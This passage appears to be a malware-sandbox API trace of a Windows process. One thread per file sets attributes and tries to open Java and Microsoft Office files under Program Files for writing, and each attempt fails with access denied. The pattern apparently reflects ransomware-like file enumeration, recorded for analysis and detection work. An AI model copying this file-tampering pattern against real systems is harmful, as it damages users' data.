(x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Louisville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\louisville"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0200.741] GetLastError () returned 0x5 [0200.741] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Louisville", dwFileAttributes=0x20) returned 0 [0200.741] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2e08) returned 1 Thread: id = 8975 os_tid = 0x14f4 [0199.194] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Monticello" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\monticello")) returned 0x20 [0200.742] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Monticello", dwFileAttributes=0x20) returned 0 [0200.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Monticello" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\monticello"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0200.742] GetLastError () returned 0x5 [0200.742] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Monticello", dwFileAttributes=0x20) returned 0 [0200.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2a18) returned 1 Thread: id = 8976 os_tid = 0x14f8 [0199.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif")) returned 0x20 [0199.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif", dwFileAttributes=0x20) returned 0 [0199.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0199.195] GetLastError () returned 0x5 [0199.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif", dwFileAttributes=0x20) returned 0 [0199.195] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x932ef0) returned 1 Thread: id = 8977 os_tid = 0x14fc [0199.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\header.gif")) returned 0x20 [0199.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0199.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\header.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0199.196] GetLastError () returned 0x5 [0199.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0199.196] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d49060) returned 1 Thread: id = 8978 os_tid = 0x1500 [0199.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_off.gif")) returned 0x20 [0199.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0199.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0199.198] GetLastError () returned 0x5 [0199.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0199.198] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48920) returned 1 Thread: id = 8979 os_tid = 0xffc [0199.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_on.gif")) returned 0x20 [0199.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0199.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0199.199] GetLastError () returned 0x5 [0199.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0199.199] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48838) returned 1 Thread: id = 8980 os_tid = 0x1504 [0199.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHED98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhed98.poc")) returned 0x20 [0202.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHED98.POC", dwFileAttributes=0x20) returned 0 [0202.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHED98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhed98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.192] GetLastError () returned 0x5 [0202.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHED98.POC", dwFileAttributes=0x20) returned 0 [0202.192] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3e18) returned 1 Thread: id = 8981 os_tid = 0x888 [0199.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHOME.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhome.poc")) returned 0x20 [0202.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHOME.POC", dwFileAttributes=0x20) returned 0 [0202.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHOME.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhome.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.191] GetLastError () returned 0x5 [0202.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHOME.POC", dwFileAttributes=0x20) returned 0 [0202.191] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5028) returned 1 Thread: id = 8982 os_tid = 0x1508 [0199.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBLINK.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\weblink.poc")) returned 0x20 [0202.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBLINK.POC", dwFileAttributes=0x20) returned 0 [0202.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBLINK.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\weblink.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.190] GetLastError () returned 0x5 [0202.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBLINK.POC", dwFileAttributes=0x20) returned 0 [0202.190] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4f18) returned 1 Thread: id = 8983 os_tid = 0x150c [0199.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.dpv")) returned 0x20 [0202.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.DPV", dwFileAttributes=0x20) returned 0 [0202.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.188] GetLastError () returned 0x5 [0202.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.DPV", dwFileAttributes=0x20) returned 0 [0202.188] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5358) returned 1 Thread: id = 8984 os_tid = 0x890 [0199.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml")) returned 0x20 [0202.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML", dwFileAttributes=0x20) returned 0 [0202.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.181] GetLastError () returned 0x5 [0202.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML", dwFileAttributes=0x20) returned 0 [0202.182] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b52d0) returned 1 Thread: id = 8985 os_tid = 0x894 [0199.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.dpv")) returned 0x20 [0202.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.DPV", dwFileAttributes=0x20) returned 0 [0202.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.187] GetLastError () returned 0x5 [0202.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.DPV", dwFileAttributes=0x20) returned 0 [0202.187] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5248) returned 1 Thread: id = 8986 os_tid = 0x1004 [0199.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml")) returned 0x20 [0202.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML", dwFileAttributes=0x20) returned 0 [0202.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.195] GetLastError () returned 0x5 [0202.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML", dwFileAttributes=0x20) returned 0 [0202.195] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b51c0) returned 1 Thread: id = 8987 os_tid = 0x1510 [0199.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.dpv")) returned 0x20 [0202.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.DPV", dwFileAttributes=0x20) returned 0 [0202.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.186] GetLastError () returned 0x5 [0202.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.DPV", dwFileAttributes=0x20) returned 0 [0202.186] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4038) returned 1 Thread: id = 8988 os_tid = 0x1518 [0199.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml")) returned 0x20 [0202.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML", dwFileAttributes=0x20) returned 0 [0202.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.194] GetLastError () returned 0x5 [0202.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML", dwFileAttributes=0x20) returned 0 [0202.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5138) returned 1 Thread: id = 8989 os_tid = 0x151c [0199.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WPULQT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wpulqt98.poc")) returned 0x20 [0202.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WPULQT98.POC", dwFileAttributes=0x20) returned 0 [0202.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WPULQT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wpulqt98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.180] GetLastError () returned 0x5 [0202.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WPULQT98.POC", dwFileAttributes=0x20) returned 0 [0202.180] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b41d0) returned 1 Thread: id = 8990 os_tid = 0x1008 [0199.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WSIDBR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wsidbr98.poc")) returned 0x20 [0202.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WSIDBR98.POC", dwFileAttributes=0x20) returned 0 [0202.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WSIDBR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wsidbr98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.193] GetLastError () returned 0x5 [0202.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WSIDBR98.POC", dwFileAttributes=0x20) returned 0 [0202.193] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b36a8) returned 1 Thread: id = 8991 os_tid = 0x100c [0199.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif")) returned 0x20 [0199.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif", dwFileAttributes=0x20) returned 0 [0199.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0199.203] GetLastError () returned 0x5 [0199.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif", dwFileAttributes=0x20) returned 0 [0199.204] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf9830) returned 1 Thread: id = 8992 os_tid = 0x1010 [0199.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_off.gif")) returned 0x20 [0199.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0199.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0199.205] GetLastError () returned 0x5 [0199.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0199.205] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9331c0) returned 1 Thread: id = 8993 os_tid = 0x1018 [0199.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_on.gif")) returned 0x20 [0199.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0199.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0199.206] GetLastError () returned 0x5 [0199.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0199.206] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9333a0) returned 1 Thread: id = 8994 os_tid = 0x101c [0199.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0202.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF", dwFileAttributes=0x20) returned 0 [0202.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.477] GetLastError () returned 0x5 [0202.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF", dwFileAttributes=0x20) returned 0 [0202.477] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b49c8) returned 1 Thread: id = 8995 os_tid = 0x1520 [0199.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0202.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF", dwFileAttributes=0x20) returned 0 [0202.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.603] GetLastError () returned 0x5 [0202.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF", dwFileAttributes=0x20) returned 0 [0202.603] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4a50) returned 1 Thread: id = 8996 os_tid = 0x1524 [0199.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20 [0202.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF", dwFileAttributes=0x20) returned 0 [0202.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.597] GetLastError () returned 0x5 [0202.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF", dwFileAttributes=0x20) returned 0 [0202.597] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4ad8) returned 1 Thread: id = 8997 os_tid = 0x1528 [0199.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0202.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF", dwFileAttributes=0x20) returned 0 [0202.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.600] GetLastError () returned 0x5 [0202.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF", dwFileAttributes=0x20) returned 0 [0202.600] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4b60) returned 1 Thread: id = 8998 os_tid = 0x152c [0199.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 